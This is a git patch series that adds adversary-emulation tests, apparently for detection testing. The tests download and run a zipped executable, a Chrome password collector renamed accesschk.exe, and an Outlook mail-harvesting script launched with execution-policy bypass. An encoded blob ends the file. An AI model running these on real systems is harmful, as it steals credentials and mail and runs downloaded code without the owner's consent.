([Text.Encoding]::UNICODE.GetString([Convert]::FromBase64String((gp #{registry_key_storage} #{registry_entry_storage}).#{registry_entry_storage})))" + cleanup_command: | + Remove-ItemProperty -Force -ErrorAction Ignore -Path #{registry_key_storage} -Name #{registry_entry_storage} + + - name: Execution from Compressed File + description: | + Mimic execution of compressed executable. When successfully executed, calculator.exe will open. + + supported_platforms: + - windows + + input_arguments: + exe_payload: + description: EXE to execute + type: Path + default: '%temp%\temp_T1027.zip\T1027.exe' + url_path: + description: url to download Exe + type: url + default: 'https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1027/bin/T1027.zip' + + dependency_executor_name: powershell + elevation_required: true + dependencies: + - description: | + T1027.exe must exist on disk at specified location + prereq_command: | + if (Test-Path #{exe_payload}) {exit 0} else {exit 1} + get_prereq_command: | + Invoke-WebRequest "#{url_path}" -OutFile "$env:temp\T1027.zip" + Expand-Archive -path "$env:temp\T1027.zip" -DestinationPath "$env:temp\temp_T1027.zip\" + + executor: + name: command_prompt + command: | + "#{exe_payload}" + cleanup_command: | + taskkill /f /im calculator.exe >nul 2>nul + rmdir /S /Q %temp%\temp_T1027.zip >nul 2>nul + del /Q "%temp%\T1027.zip" >nul 2>nul From 4c563459ceb51f0e67fde640f04c51bb153a932e Mon Sep 17 00:00:00 2001 From: CircleCI Atomic Red Team doc generator Date: Thu, 14 May 2020 22:43:48 +0000 Subject: [PATCH 14/16] Generate docs from job=validate_atomics_generate_docs branch=master --- atomics/Indexes/Indexes-CSV/index.csv | 1 + atomics/Indexes/Indexes-CSV/windows-index.csv | 1 + atomics/Indexes/Indexes-Markdown/index.md | 1 + .../Indexes/Indexes-Markdown/windows-index.md | 1 + atomics/Indexes/index.yaml | 33 ++++++++++++ atomics/T1027/T1027.md | 51 +++++++++++++++++++ 6 files changed, 88 insertions(+) diff --git a/atomics/Indexes/Indexes-CSV/index.csv b/atomics/Indexes/Indexes-CSV/index.csv index 5d84ca45..74f480c2 100644 --- a/atomics/Indexes/Indexes-CSV/index.csv +++ b/atomics/Indexes/Indexes-CSV/index.csv @@ -225,6 +225,7 @@ defense-evasion,T1126,Network Share Connection Removal,3,Remove Network Share Po defense-evasion,T1027,Obfuscated Files or Information,1,Decode base64 Data into Script defense-evasion,T1027,Obfuscated Files or Information,2,Execute base64-encoded PowerShell defense-evasion,T1027,Obfuscated Files or Information,3,Execute base64-encoded PowerShell from Windows Registry +defense-evasion,T1027,Obfuscated Files or Information,4,Execution from Compressed File defense-evasion,T1502,Parent PID Spoofing,1,Parent PID Spoofing using PowerShell defense-evasion,T1150,Plist Modification,1,Plist Modification defense-evasion,T1093,Process Hollowing,1,Process Hollowing using PowerShell diff --git a/atomics/Indexes/Indexes-CSV/windows-index.csv b/atomics/Indexes/Indexes-CSV/windows-index.csv index d4575135..f629a803 100644 --- a/atomics/Indexes/Indexes-CSV/windows-index.csv +++ b/atomics/Indexes/Indexes-CSV/windows-index.csv @@ -90,6 +90,7 @@ defense-evasion,T1126,Network Share Connection Removal,2,Remove Network Share defense-evasion,T1126,Network Share Connection Removal,3,Remove Network Share PowerShell defense-evasion,T1027,Obfuscated Files or Information,2,Execute base64-encoded PowerShell defense-evasion,T1027,Obfuscated Files or Information,3,Execute base64-encoded PowerShell from Windows Registry +defense-evasion,T1027,Obfuscated Files or Information,4,Execution from Compressed File defense-evasion,T1502,Parent PID Spoofing,1,Parent PID Spoofing using PowerShell defense-evasion,T1093,Process Hollowing,1,Process Hollowing using PowerShell defense-evasion,T1055,Process Injection,1,Process Injection via mavinject.exe diff --git a/atomics/Indexes/Indexes-Markdown/index.md b/atomics/Indexes/Indexes-Markdown/index.md index 31e8214b..51307c1b 100644 --- a/atomics/Indexes/Indexes-Markdown/index.md +++ b/atomics/Indexes/Indexes-Markdown/index.md @@ -337,6 +337,7 @@ - Atomic Test #1: Decode base64 Data into Script [macos, linux] - Atomic Test #2: Execute base64-encoded PowerShell [windows] - Atomic Test #3: Execute base64-encoded PowerShell from Windows Registry [windows] + - Atomic Test #4: Execution from Compressed File [windows] - [T1502 Parent PID Spoofing](../../T1502/T1502.md) - Atomic Test #1: Parent PID Spoofing using PowerShell [windows] - [T1150 Plist Modification](../../T1150/T1150.md) diff --git a/atomics/Indexes/Indexes-Markdown/windows-index.md b/atomics/Indexes/Indexes-Markdown/windows-index.md index 475285dc..e098469c 100644 --- a/atomics/Indexes/Indexes-Markdown/windows-index.md +++ b/atomics/Indexes/Indexes-Markdown/windows-index.md @@ -130,6 +130,7 @@ - [T1027 Obfuscated Files or Information](../../T1027/T1027.md) - Atomic Test #2: Execute base64-encoded PowerShell [windows] - Atomic Test #3: Execute base64-encoded PowerShell from Windows Registry [windows] + - Atomic Test #4: Execution from Compressed File [windows] - [T1502 Parent PID Spoofing](../../T1502/T1502.md) - Atomic Test #1: Parent PID Spoofing using PowerShell [windows] - T1186 Process Doppelgänging [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) diff --git a/atomics/Indexes/index.yaml b/atomics/Indexes/index.yaml index fe941fe5..fb584cfd 100644 --- a/atomics/Indexes/index.yaml +++ b/atomics/Indexes/index.yaml @@ -11278,6 +11278,39 @@ defense-evasion: -Name #{registry_entry_storage} ' + - name: Execution from Compressed File + description: 'Mimic execution of compressed executable. When successfully executed, + calculator.exe will open. + +' + supported_platforms: + - windows + input_arguments: + exe_payload: + description: EXE to execute + type: Path + default: "%temp%\\temp_T1027.zip\\T1027.exe" + url_path: + description: url to download Exe + type: url + default: https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1027/bin/T1027.zip + dependency_executor_name: powershell + elevation_required: true + dependencies: + - description: T1027.exe must exist on disk at specified location + prereq_command: 'if (Test-Path #{exe_payload}) {exit 0} else {exit 1}' + get_prereq_command: |- + Invoke-WebRequest "#{url_path}" -OutFile "$env:temp\T1027.zip" + Expand-Archive -path "$env:temp\T1027.zip" -DestinationPath "$env:temp\temp_T1027.zip\" + executor: + name: command_prompt + command: '"#{exe_payload}" + +' + cleanup_command: | + taskkill /f /im calculator.exe >nul 2>nul + rmdir /S /Q %temp%\temp_T1027.zip >nul 2>nul + del /Q "%temp%\T1027.zip" >nul 2>nul T1502: technique: x_mitre_data_sources: diff --git a/atomics/T1027/T1027.md b/atomics/T1027/T1027.md index c4d5759b..7b23a92b 100644 --- a/atomics/T1027/T1027.md +++ b/atomics/T1027/T1027.md @@ -18,6 +18,8 @@ Another example of obfuscation is through the use of steganography, a technique - [Atomic Test #3 - Execute base64-encoded PowerShell from Windows Registry](#atomic-test-3---execute-base64-encoded-powershell-from-windows-registry) +- [Atomic Test #4 - Execution from Compressed File](#atomic-test-4---execution-from-compressed-file) +
@@ -125,4 +127,53 @@ Remove-ItemProperty -Force -ErrorAction Ignore -Path #{registry_key_storage} -Na +
+
+ +## Atomic Test #4 - Execution from Compressed File +Mimic execution of compressed executable. When successfully executed, calculator.exe will open. + +**Supported Platforms:** Windows + + + + +#### Inputs: +| Name | Description | Type | Default Value | +|------|-------------|------|---------------| +| exe_payload | EXE to execute | Path | %temp%\temp_T1027.zip\T1027.exe| +| url_path | url to download Exe | url | https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1027/bin/T1027.zip| + + +#### Attack Commands: Run with `command_prompt`! + + +```cmd +"#{exe_payload}" +``` + +#### Cleanup Commands: +```cmd +taskkill /f /im calculator.exe >nul 2>nul +rmdir /S /Q %temp%\temp_T1027.zip >nul 2>nul +del /Q "%temp%\T1027.zip" >nul 2>nul +``` + + + +#### Dependencies: Run with `powershell`! +##### Description: T1027.exe must exist on disk at specified location +##### Check Prereq Commands: +```powershell +if (Test-Path #{exe_payload}) {exit 0} else {exit 1} +``` +##### Get Prereq Commands: +```powershell +Invoke-WebRequest "#{url_path}" -OutFile "$env:temp\T1027.zip" +Expand-Archive -path "$env:temp\T1027.zip" -DestinationPath "$env:temp\temp_T1027.zip\" +``` + + + +
From cbe842b8d80ffa089357867e4c8e902431353caf Mon Sep 17 00:00:00 2001 From: Michael Haag Date: Thu, 14 May 2020 16:48:14 -0600 Subject: [PATCH 15/16] T1003 pwcollector (#989) * T1003 - Chrome Password Collector * Generate docs from job=validate_atomics_generate_docs branch=T1003-Pwcollector Co-authored-by: CircleCI Atomic Red Team doc generator Co-authored-by: Carrie Roberts --- atomics/Indexes/Indexes-CSV/index.csv | 1 + atomics/Indexes/Indexes-CSV/windows-index.csv | 1 + atomics/Indexes/Indexes-Markdown/index.md | 1 + .../Indexes/Indexes-Markdown/windows-index.md | 1 + atomics/Indexes/index.yaml | 31 +++++++++++ atomics/T1003/T1003.md | 54 +++++++++++++++++++ atomics/T1003/T1003.yaml | 36 +++++++++++++ 7 files changed, 125 insertions(+) diff --git a/atomics/Indexes/Indexes-CSV/index.csv b/atomics/Indexes/Indexes-CSV/index.csv index 74f480c2..0ed7461d 100644 --- a/atomics/Indexes/Indexes-CSV/index.csv +++ b/atomics/Indexes/Indexes-CSV/index.csv @@ -451,6 +451,7 @@ credential-access,T1003,Credential Dumping,13,GPP Passwords (findstr) credential-access,T1003,Credential Dumping,14,GPP Passwords (Get-GPPPassword) credential-access,T1003,Credential Dumping,15,LSASS read with pypykatz credential-access,T1003,Credential Dumping,16,Registry parse with pypykatz +credential-access,T1003,Credential Dumping,17,Run Chrome-password Collector credential-access,T1081,Credentials in Files,1,Extract Browser and System credentials with LaZagne credential-access,T1081,Credentials in Files,2,Extract passwords with grep credential-access,T1081,Credentials in Files,3,Extracting passwords with findstr diff --git a/atomics/Indexes/Indexes-CSV/windows-index.csv b/atomics/Indexes/Indexes-CSV/windows-index.csv index f629a803..b3ea418e 100644 --- a/atomics/Indexes/Indexes-CSV/windows-index.csv +++ b/atomics/Indexes/Indexes-CSV/windows-index.csv @@ -302,6 +302,7 @@ credential-access,T1003,Credential Dumping,13,GPP Passwords (findstr) credential-access,T1003,Credential Dumping,14,GPP Passwords (Get-GPPPassword) credential-access,T1003,Credential Dumping,15,LSASS read with pypykatz credential-access,T1003,Credential Dumping,16,Registry parse with pypykatz +credential-access,T1003,Credential Dumping,17,Run Chrome-password Collector credential-access,T1081,Credentials in Files,3,Extracting passwords with findstr credential-access,T1081,Credentials in Files,4,Access unattend.xml credential-access,T1214,Credentials in Registry,1,Enumeration for Credentials in Registry diff --git a/atomics/Indexes/Indexes-Markdown/index.md b/atomics/Indexes/Indexes-Markdown/index.md index 51307c1b..7937ee8d 100644 --- a/atomics/Indexes/Indexes-Markdown/index.md +++ b/atomics/Indexes/Indexes-Markdown/index.md @@ -676,6 +676,7 @@ - Atomic Test #14: GPP Passwords (Get-GPPPassword) [windows] - Atomic Test #15: LSASS read with pypykatz [windows] - Atomic Test #16: Registry parse with pypykatz [windows] + - Atomic Test #17: Run Chrome-password Collector [windows] - T1503 Credentials from Web Browsers [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - [T1081 Credentials in Files](../../T1081/T1081.md) - Atomic Test #1: Extract Browser and System credentials with LaZagne [macos] diff --git a/atomics/Indexes/Indexes-Markdown/windows-index.md b/atomics/Indexes/Indexes-Markdown/windows-index.md index e098469c..87eddbf5 100644 --- a/atomics/Indexes/Indexes-Markdown/windows-index.md +++ b/atomics/Indexes/Indexes-Markdown/windows-index.md @@ -482,6 +482,7 @@ - Atomic Test #14: GPP Passwords (Get-GPPPassword) [windows] - Atomic Test #15: LSASS read with pypykatz [windows] - Atomic Test #16: Registry parse with pypykatz [windows] + - Atomic Test #17: Run Chrome-password Collector [windows] - T1503 Credentials from Web Browsers [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - [T1081 Credentials in Files](../../T1081/T1081.md) - Atomic Test #3: Extracting passwords with findstr [windows] diff --git a/atomics/Indexes/index.yaml b/atomics/Indexes/index.yaml index fb584cfd..1a9f4713 100644 --- a/atomics/Indexes/index.yaml +++ b/atomics/Indexes/index.yaml @@ -21512,6 +21512,37 @@ credential-access: command: 'pypykatz live registry ' + - name: Run Chrome-password Collector + description: | + A modified sysinternals suite will be downloaded and staged. The Chrome-password collector, renamed accesschk.exe, will then be executed from #{file_path}. + + Successful execution will produce stdout message stating "Copying db ... passwordsDB DB Opened. statement prepare DB connection closed properly". Upon completion, final output will be a file modification of $env:TEMP\sysinternals\passwordsdb. + + Adapted from [MITRE ATTACK Evals](https://github.com/mitre-attack/attack-arsenal/blob/66650cebd33b9a1e180f7b31261da1789cdceb66/adversary_emulation/APT29/CALDERA_DIY/evals/data/abilities/credential-access/e7cab9bb-3e3a-4d93-99cc-3593c1dc8c6d.yml) + supported_platforms: + - windows + input_arguments: + file_path: + description: File path for modified Sysinternals + type: String + default: "$env:TEMP" + dependency_executor_name: powershell + dependencies: + - description: 'Modified Sysinternals must be located at #{file_path}' + prereq_command: 'if (Test-Path #{file_path}\SysInternals) {exit 0} else {exit + 1}' + get_prereq_command: |- + Invoke-WebRequest "https://github.com/mitre-attack/attack-arsenal/raw/66650cebd33b9a1e180f7b31261da1789cdceb66/adversary_emulation/APT29/CALDERA_DIY/evals/payloads/Modified-SysInternalsSuite.zip" -OutFile "#{file_path}\Modified-SysInternalsSuite.zip" + Expand-Archive #{file_path}\Modified-SysInternalsSuite.zip #{file_path}\sysinternals -Force + Remove-Item #{file_path}\Modified-SysInternalsSuite.zip -Force + executor: + name: powershell + elevation_required: false + command: | + Set-Location -path "#{file_path}\Sysinternals"; + ./accesschk.exe -accepteula .; + cleanup_command: 'Remove-Item #{file_path}\Sysinternals -Force -Recurse -ErrorAction + Ignore' T1081: technique: x_mitre_permissions_required: diff --git a/atomics/T1003/T1003.md b/atomics/T1003/T1003.md index 5d395150..d32070d2 100644 --- a/atomics/T1003/T1003.md +++ b/atomics/T1003/T1003.md @@ -167,6 +167,8 @@ The /proc filesystem on Linux contains a great deal of information regarding the - [Atomic Test #16 - Registry parse with pypykatz](#atomic-test-16---registry-parse-with-pypykatz) +- [Atomic Test #17 - Run Chrome-password Collector](#atomic-test-17---run-chrome-password-collector) +
@@ -940,4 +942,56 @@ pip3 install pypykatz +
+
+ +## Atomic Test #17 - Run Chrome-password Collector +A modified sysinternals suite will be downloaded and staged. The Chrome-password collector, renamed accesschk.exe, will then be executed from #{file_path}. + +Successful execution will produce stdout message stating "Copying db ... passwordsDB DB Opened. statement prepare DB connection closed properly". Upon completion, final output will be a file modification of $env:TEMP\sysinternals\passwordsdb. + +Adapted from [MITRE ATTACK Evals](https://github.com/mitre-attack/attack-arsenal/blob/66650cebd33b9a1e180f7b31261da1789cdceb66/adversary_emulation/APT29/CALDERA_DIY/evals/data/abilities/credential-access/e7cab9bb-3e3a-4d93-99cc-3593c1dc8c6d.yml) + +**Supported Platforms:** Windows + + + + +#### Inputs: +| Name | Description | Type | Default Value | +|------|-------------|------|---------------| +| file_path | File path for modified Sysinternals | String | $env:TEMP| + + +#### Attack Commands: Run with `powershell`! + + +```powershell +Set-Location -path "#{file_path}\Sysinternals"; +./accesschk.exe -accepteula .; +``` + +#### Cleanup Commands: +```powershell +Remove-Item #{file_path}\Sysinternals -Force -Recurse -ErrorAction Ignore +``` + + + +#### Dependencies: Run with `powershell`! +##### Description: Modified Sysinternals must be located at #{file_path} +##### Check Prereq Commands: +```powershell +if (Test-Path #{file_path}\SysInternals) {exit 0} else {exit 1} +``` +##### Get Prereq Commands: +```powershell +Invoke-WebRequest "https://github.com/mitre-attack/attack-arsenal/raw/66650cebd33b9a1e180f7b31261da1789cdceb66/adversary_emulation/APT29/CALDERA_DIY/evals/payloads/Modified-SysInternalsSuite.zip" -OutFile "#{file_path}\Modified-SysInternalsSuite.zip" +Expand-Archive #{file_path}\Modified-SysInternalsSuite.zip #{file_path}\sysinternals -Force +Remove-Item #{file_path}\Modified-SysInternalsSuite.zip -Force +``` + + + +
diff --git a/atomics/T1003/T1003.yaml b/atomics/T1003/T1003.yaml index ecf2cd16..1f2cf5be 100644 --- a/atomics/T1003/T1003.yaml +++ b/atomics/T1003/T1003.yaml @@ -554,3 +554,39 @@ atomic_tests: elevation_required: true command: | pypykatz live registry + +- name: Run Chrome-password Collector + description: | + A modified sysinternals suite will be downloaded and staged. The Chrome-password collector, renamed accesschk.exe, will then be executed from #{file_path}. + + Successful execution will produce stdout message stating "Copying db ... passwordsDB DB Opened. statement prepare DB connection closed properly". Upon completion, final output will be a file modification of $env:TEMP\sysinternals\passwordsdb. + + Adapted from [MITRE ATTACK Evals](https://github.com/mitre-attack/attack-arsenal/blob/66650cebd33b9a1e180f7b31261da1789cdceb66/adversary_emulation/APT29/CALDERA_DIY/evals/data/abilities/credential-access/e7cab9bb-3e3a-4d93-99cc-3593c1dc8c6d.yml) + supported_platforms: + - windows + input_arguments: + file_path: + description: File path for modified Sysinternals + type: String + default: $env:TEMP + + dependency_executor_name: powershell + dependencies: + - description: | + Modified Sysinternals must be located at #{file_path} + prereq_command: | + if (Test-Path #{file_path}\SysInternals) {exit 0} else {exit 1} + get_prereq_command: | + Invoke-WebRequest "https://github.com/mitre-attack/attack-arsenal/raw/66650cebd33b9a1e180f7b31261da1789cdceb66/adversary_emulation/APT29/CALDERA_DIY/evals/payloads/Modified-SysInternalsSuite.zip" -OutFile "#{file_path}\Modified-SysInternalsSuite.zip" + Expand-Archive #{file_path}\Modified-SysInternalsSuite.zip #{file_path}\sysinternals -Force + Remove-Item #{file_path}\Modified-SysInternalsSuite.zip -Force + + executor: + name: powershell + elevation_required: false + command: | + Set-Location -path "#{file_path}\Sysinternals"; + ./accesschk.exe -accepteula .; + + cleanup_command: | + Remove-Item #{file_path}\Sysinternals -Force -Recurse -ErrorAction Ignore \ No newline at end of file From 0ff57636042a0045b1c0498d967fd59359caa30d Mon Sep 17 00:00:00 2001 From: Michael Haag Date: Thu, 14 May 2020 16:54:20 -0600 Subject: [PATCH 16/16] T1114 - Email Collection (#993) * Breathed new life into T1114 * Update T1114.yaml * Generate docs from job=validate_atomics_generate_docs branch=T1114-Fixing Co-authored-by: CircleCI Atomic Red Team doc generator Co-authored-by: Carrie Roberts --- atomics/Indexes/Indexes-CSV/index.csv | 2 +- atomics/Indexes/Indexes-CSV/windows-index.csv | 2 +- atomics/Indexes/Indexes-Markdown/index.md | 2 +- .../Indexes/Indexes-Markdown/windows-index.md | 2 +- atomics/Indexes/index.yaml | 28 +++++++++++----- atomics/T1114/T1114.md | 32 ++++++++++++++----- atomics/T1114/T1114.yaml | 31 ++++++++++++++---- atomics/T1114/{ => src}/Get-Inbox.ps1 | 0 8 files changed, 72 insertions(+), 27 deletions(-) rename atomics/T1114/{ => src}/Get-Inbox.ps1 (100%) diff --git a/atomics/Indexes/Indexes-CSV/index.csv b/atomics/Indexes/Indexes-CSV/index.csv index 0ed7461d..66b46780 100644 --- a/atomics/Indexes/Indexes-CSV/index.csv +++ b/atomics/Indexes/Indexes-CSV/index.csv @@ -608,7 +608,7 @@ collection,T1074,Data Staged,1,Stage data from Discovery.bat collection,T1074,Data Staged,2,Stage data from Discovery.sh collection,T1074,Data Staged,3,Zip a Folder with PowerShell for Staging in Temp collection,T1005,Data from Local System,1,Search macOS Safari Cookies -collection,T1114,Email Collection,1,T1114 Email Collection with PowerShell +collection,T1114,Email Collection,1,Email Collection with PowerShell Get-Inbox collection,T1056,Input Capture,1,Input Capture collection,T1113,Screen Capture,1,Screencapture collection,T1113,Screen Capture,2,Screencapture (silent) diff --git a/atomics/Indexes/Indexes-CSV/windows-index.csv b/atomics/Indexes/Indexes-CSV/windows-index.csv index b3ea418e..09d4aafb 100644 --- a/atomics/Indexes/Indexes-CSV/windows-index.csv +++ b/atomics/Indexes/Indexes-CSV/windows-index.csv @@ -348,7 +348,7 @@ collection,T1115,Clipboard Data,1,Utilize Clipboard to store or execute commands collection,T1115,Clipboard Data,2,PowerShell collection,T1074,Data Staged,1,Stage data from Discovery.bat collection,T1074,Data Staged,3,Zip a Folder with PowerShell for Staging in Temp -collection,T1114,Email Collection,1,T1114 Email Collection with PowerShell +collection,T1114,Email Collection,1,Email Collection with PowerShell Get-Inbox collection,T1056,Input Capture,1,Input Capture exfiltration,T1002,Data Compressed,1,Compress Data for Exfiltration With PowerShell exfiltration,T1002,Data Compressed,2,Compress Data for Exfiltration With Rar diff --git a/atomics/Indexes/Indexes-Markdown/index.md b/atomics/Indexes/Indexes-Markdown/index.md index 7937ee8d..698fdbb6 100644 --- a/atomics/Indexes/Indexes-Markdown/index.md +++ b/atomics/Indexes/Indexes-Markdown/index.md @@ -921,7 +921,7 @@ - T1039 Data from Network Shared Drive [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - T1025 Data from Removable Media [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - [T1114 Email Collection](../../T1114/T1114.md) - - Atomic Test #1: T1114 Email Collection with PowerShell [windows] + - Atomic Test #1: Email Collection with PowerShell Get-Inbox [windows] - [T1056 Input Capture](../../T1056/T1056.md) - Atomic Test #1: Input Capture [windows] - T1185 Man in the Browser [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) diff --git a/atomics/Indexes/Indexes-Markdown/windows-index.md b/atomics/Indexes/Indexes-Markdown/windows-index.md index 87eddbf5..b13071ad 100644 --- a/atomics/Indexes/Indexes-Markdown/windows-index.md +++ b/atomics/Indexes/Indexes-Markdown/windows-index.md @@ -572,7 +572,7 @@ - T1039 Data from Network Shared Drive [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - T1025 Data from Removable Media [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - [T1114 Email Collection](../../T1114/T1114.md) - - Atomic Test #1: T1114 Email Collection with PowerShell [windows] + - Atomic Test #1: Email Collection with PowerShell Get-Inbox [windows] - [T1056 Input Capture](../../T1056/T1056.md) - Atomic Test #1: Input Capture [windows] - T1185 Man in the Browser [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) diff --git a/atomics/Indexes/index.yaml b/atomics/Indexes/index.yaml index 1a9f4713..0073cfd8 100644 --- a/atomics/Indexes/index.yaml +++ b/atomics/Indexes/index.yaml @@ -28810,26 +28810,38 @@ collection: modified: '2019-10-08T20:59:13.652Z' identifier: T1114 atomic_tests: - - name: T1114 Email Collection with PowerShell - description: 'Search through local Outlook installation, extract mail, compress - the contents, and saves everything to a directory for later exfiltration. + - name: Email Collection with PowerShell Get-Inbox + description: | + Search through local Outlook installation, extract mail, compress the contents, and saves everything to a directory for later exfiltration. + Successful execution will produce stdout message stating "Please be patient, this may take some time...". Upon completion, final output will be a mail.csv file. -' + Note: Outlook is required, but no email account necessary to produce artifacts. supported_platforms: - windows input_arguments: + file_path: + description: File path for Get-Inbox.ps1 + type: String + default: PathToAtomicsFolder\T1114\src output_file: description: Output file path type: String - default: "$home\\desktop\\mail.csv" + default: "$env:TEMP\\mail.csv" + dependency_executor_name: powershell + dependencies: + - description: 'Get-Inbox.ps1 must be located at #{file_path}' + prereq_command: 'if (Test-Path #{file_path}\Get-Inbox.ps1) {exit 0} else {exit + 1}' + get_prereq_command: Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1114/src/Get-Inbox.ps1" + -OutFile "#{file_path}\Get-Inbox.ps1" executor: - name: command_prompt + name: powershell elevation_required: false - command: 'powershell -executionpolicy bypass -command $PathToAtomicsFolder\T1114\Get-Inbox.ps1 + command: 'powershell -executionpolicy bypass -command #{file_path}\Get-Inbox.ps1 -file #{output_file} ' - cleanup_command: 'del #{output_file} >nul 2>&1 + cleanup_command: 'Remove-Item #{output_file} -Force -ErrorAction Ignore ' T1056: diff --git a/atomics/T1114/T1114.md b/atomics/T1114/T1114.md index d281cf15..ab3c6e53 100644 --- a/atomics/T1114/T1114.md +++ b/atomics/T1114/T1114.md @@ -14,13 +14,16 @@ Any user or administrator within the organization (or adversary with valid crede ## Atomic Tests -- [Atomic Test #1 - T1114 Email Collection with PowerShell](#atomic-test-1---t1114-email-collection-with-powershell) +- [Atomic Test #1 - Email Collection with PowerShell Get-Inbox](#atomic-test-1---email-collection-with-powershell-get-inbox)
-## Atomic Test #1 - T1114 Email Collection with PowerShell +## Atomic Test #1 - Email Collection with PowerShell Get-Inbox Search through local Outlook installation, extract mail, compress the contents, and saves everything to a directory for later exfiltration. +Successful execution will produce stdout message stating "Please be patient, this may take some time...". Upon completion, final output will be a mail.csv file. + +Note: Outlook is required, but no email account necessary to produce artifacts. **Supported Platforms:** Windows @@ -30,23 +33,36 @@ Search through local Outlook installation, extract mail, compress the contents, #### Inputs: | Name | Description | Type | Default Value | |------|-------------|------|---------------| -| output_file | Output file path | String | $home\desktop\mail.csv| +| file_path | File path for Get-Inbox.ps1 | String | PathToAtomicsFolder\T1114\src| +| output_file | Output file path | String | $env:TEMP\mail.csv| -#### Attack Commands: Run with `command_prompt`! +#### Attack Commands: Run with `powershell`! -```cmd -powershell -executionpolicy bypass -command $PathToAtomicsFolder\T1114\Get-Inbox.ps1 -file #{output_file} +```powershell +powershell -executionpolicy bypass -command #{file_path}\Get-Inbox.ps1 -file #{output_file} ``` #### Cleanup Commands: -```cmd -del #{output_file} >nul 2>&1 +```powershell +Remove-Item #{output_file} -Force -ErrorAction Ignore ``` +#### Dependencies: Run with `powershell`! +##### Description: Get-Inbox.ps1 must be located at #{file_path} +##### Check Prereq Commands: +```powershell +if (Test-Path #{file_path}\Get-Inbox.ps1) {exit 0} else {exit 1} +``` +##### Get Prereq Commands: +```powershell +Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1114/src/Get-Inbox.ps1" -OutFile "#{file_path}\Get-Inbox.ps1" +``` + +
diff --git a/atomics/T1114/T1114.yaml b/atomics/T1114/T1114.yaml index 0e30478d..757d485d 100644 --- a/atomics/T1114/T1114.yaml +++ b/atomics/T1114/T1114.yaml @@ -4,22 +4,39 @@ display_name: Email Collection attack_link: https://attack.mitre.org/wiki/Technique/T1114 atomic_tests: -- name: T1114 Email Collection with PowerShell - +- name: Email Collection with PowerShell Get-Inbox description: | Search through local Outlook installation, extract mail, compress the contents, and saves everything to a directory for later exfiltration. - + Successful execution will produce stdout message stating "Please be patient, this may take some time...". Upon completion, final output will be a mail.csv file. + + Note: Outlook is required, but no email account necessary to produce artifacts. supported_platforms: - windows input_arguments: + file_path: + description: File path for Get-Inbox.ps1 + type: String + default: PathToAtomicsFolder\T1114\src output_file: description: Output file path type: String - default: $home\desktop\mail.csv + default: $env:TEMP\mail.csv + + dependency_executor_name: powershell + dependencies: + - description: | + Get-Inbox.ps1 must be located at #{file_path} + prereq_command: | + if (Test-Path #{file_path}\Get-Inbox.ps1) {exit 0} else {exit 1} + get_prereq_command: | + Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1114/src/Get-Inbox.ps1" -OutFile "#{file_path}\Get-Inbox.ps1" + executor: - name: command_prompt + name: powershell elevation_required: false command: | - powershell -executionpolicy bypass -command $PathToAtomicsFolder\T1114\Get-Inbox.ps1 -file #{output_file} + powershell -executionpolicy bypass -command #{file_path}\Get-Inbox.ps1 -file #{output_file} + cleanup_command: | - del #{output_file} >nul 2>&1 + Remove-Item #{output_file} -Force -ErrorAction Ignore + diff --git a/atomics/T1114/Get-Inbox.ps1 b/atomics/T1114/src/Get-Inbox.ps1 similarity index 100% rename from atomics/T1114/Get-Inbox.ps1 rename to atomics/T1114/src/Get-Inbox.ps1

^V>8^EZ&A_}ZW+Hfvp?)de6Vr7jkmf5utli6iMCgPU4MXR zUW_ZNOi3AnDLOpk%2HB#VTvA8OuoWKcJ1$QDWD-&N`nL4O-OIBcWOThN;x z?F0xNzT#%FT2K@?nDGV7SlA(1n!ODvHmN_JbwWPb(@1$Hqvp1l@dCNrSSR2_0~+iO z=4+u(X_T*(=K~p`Y8F+dB-kKfiezc^6$(YLJLuNfBopbws)i~`^yYndnl8v+NHI>Q zV*jxTTimMXL!is_(DWxlu8KIkv|TRN?jqkAZ_>gzR*a(*KuTBKDq7z2(O1z@FIgHz z%W>eh&_(uMv3M_Z$tD&bIAr-GeMg=~tZtAKpTiEJyRb|Wfp!tZVmwvl&(Pb zA8_e8rGSWAUyhz)Ft3E2pD=&n2ZVp=pG`xtNStd<7e3f4B z*QeKSXv8ZofOR}t4+tv^Q|C`#Nu6w);wN;68VvH!#=T%NuYT zYmuDq#hu!J)n2^S=pVEfd1b#5V+Hqi>HR@hivJhsqs)&zLZ1M3&#&(V{iSwbYik|o zTO~|dD&7w&HU>##W01sc43fExL5gZ)0Nf0lyBMae#+;_tkXB=Y4PMZi6n`hjX*GDZ zl*(Q!=gxZ|qw;M6eq%S<+p+W{rSxPQ8*b+=cOYjRB=ReSi4%~Yn1bd;^Z~)*U9K$7 zZr(>?-fCiZw>}4l@8b=V6OZ%5vPmj%`Afc?>fVnM0{u&Qvj4s4 z2Hc|{dHwS5iUyt=Ew~kP8gtv}N4jZdYAR?ucz*@FqF&^aZQNN|8@&{`iRVv-$5vo}bZSmPukC^U}q>4dvrW^JK zyO@9_@8uVx(ofl){=`snY&hAD1#a91(;}zIU*JJ9e!yF(U#K@w7w$!kMp%PkVvkjI zKcY>7Uiu0dJGm7kgHBniVV&1=cWnW-@&2G3adCLv9^Uz4#vUsVa+L#CbnhPC{v=Al z9?jpQ_9%iS%-@4N1cP*n{su(XP8M!kuoIpD?lraVAiLI4R(h)}cz~^Mx*qM#1MC}Y z(mZVDvE{fMMT_ljJDz8xpa|?_{kKN7`Lnmx2?GRQL|p{oZV2xpYMgd135Jy?JKm-N zwqe`no5#=+uwxsa{)yz5WW0}F1xv=2z`h)V*BR1J0ckX&+ZdBLOf1ujWrA2{5X(U9 zmDfiEYr38;52}mR}438i1nb$n*!7TNJp^OE*(I#xpYOW z_*FcpfOlBdq8pYrZdH(FKFEp-5nb8-mr)04CR+W(pA}`(jhhvn&=`2YO6wu(A-p#X 